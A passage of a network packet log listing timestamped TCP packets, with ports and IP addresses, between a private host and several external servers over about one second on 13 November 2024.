Nov 13, 2024 14:41:35.030358076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030370951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030384064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030397892 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030407906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030421972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030432940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030435085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030466080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030488014 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030571938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030586958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030597925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030615091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030627966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030630112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030642033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030654907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030664921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030666113 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030679941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030689001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030694962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030709028 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030711889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030729055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030740976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030742884 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030755997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030770063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030776978 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030783892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030797005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030798912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030808926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030817986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030822992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030847073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030854940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030860901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030873060 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030885935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030889034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030899048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030911922 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030916929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030925035 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030947924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030962944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030972004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030975103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030987978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.030993938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031003952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031017065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031028986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031030893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031044960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031059027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031063080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031065941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031074047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031081915 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031085968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031101942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031120062 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031131983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031157017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031178951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031215906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031230927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031241894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031265974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031267881 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031280041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031299114 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031331062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031338930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031344891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031357050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031371117 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031372070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031387091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031405926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031435013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031757116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031783104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031795979 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031810045 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031825066 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031862974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031863928 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031877041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031891108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031904936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031923056 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031958103 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.031985998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.031999111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032011032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032023907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032031059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032037020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032049894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032062054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032063007 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032077074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032097101 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032120943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032135963 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032149076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032160997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032175064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032175064 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032188892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032196999 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032216072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032228947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032236099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032243013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032254934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032255888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032270908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032283068 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032288074 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032299995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032314062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032324076 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032327890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032342911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032357931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032371998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032377958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032386065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032398939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.032411098 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.032435894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.040627956 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.040654898 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.040724993 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.040750980 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.040785074 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.040822983 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.042316914 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.042334080 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.042412996 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.042422056 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.042452097 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.042474985 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.044048071 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.044083118 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.044146061 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.044152975 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.044210911 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.070579052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070669889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070682049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070775986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070791006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070801973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070804119 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.070823908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070837021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070848942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070858002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.070858002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.070863008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070875883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070885897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070895910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.070926905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070934057 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.070938110 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070950031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070961952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.070982933 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071001053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071273088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071460009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071470976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071480036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071501017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071505070 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071511030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071521997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071532965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071542025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071551085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071552992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071567059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071573019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071589947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071599007 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071628094 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071820974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071831942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071841955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071852922 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071865082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071871042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071881056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071883917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071896076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071923971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071949005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071959972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071960926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.071971893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.071988106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072007895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072089911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072102070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072112083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072120905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072133064 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072133064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072145939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072151899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072165966 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072170019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072181940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072204113 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072221994 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072391987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072402954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072413921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072423935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072444916 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072477102 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072488070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072498083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072504044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072509050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072518110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072519064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072539091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072565079 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072599888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072611094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072621107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072626114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072637081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072647095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072652102 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072659016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072669983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072679996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072690010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072691917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072730064 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.072933912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072945118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072953939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072958946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072963953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072968960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072978973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.072988987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073000908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073013067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073013067 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.073043108 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.073070049 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.073420048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073431015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073441982 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.073472977 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.073488951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.074424028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.074434042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.074487925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.074525118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.102325916 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.102546930 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.102602005 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.102741003 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.102741003 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.102741003 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.102797031 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.102817059 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.105593920 CET	49934	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.105632067 CET	443	49934	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.105846882 CET	49934	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.106822968 CET	49934	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.106837988 CET	443	49934	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.111711979 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.111776114 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.111816883 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.111826897 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:35.111881971 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:35.118881941 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.119044065 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.119121075 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.119247913 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.119349957 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.119537115 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.119553089 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.119586945 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.120167971 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.120182991 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.120193005 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.120198965 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.124830008 CET	49935	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.124876976 CET	443	49935	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.125117064 CET	49935	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.127058983 CET	49936	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.127094984 CET	443	49936	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.127214909 CET	49936	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.127326965 CET	49935	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.127336979 CET	443	49935	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.127495050 CET	49936	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.127506971 CET	443	49936	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.148503065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148516893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148530006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148582935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148595095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148607969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148621082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148634911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148642063 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.148646116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148672104 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.148713112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.148753881 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148767948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148781061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148793936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148798943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.148809910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148821115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148833036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.148839951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.148876905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.149537086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.149549961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.149571896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.149585009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.149601936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.149605989 CET	80	49832	185.215.113.206	192.168.2.7
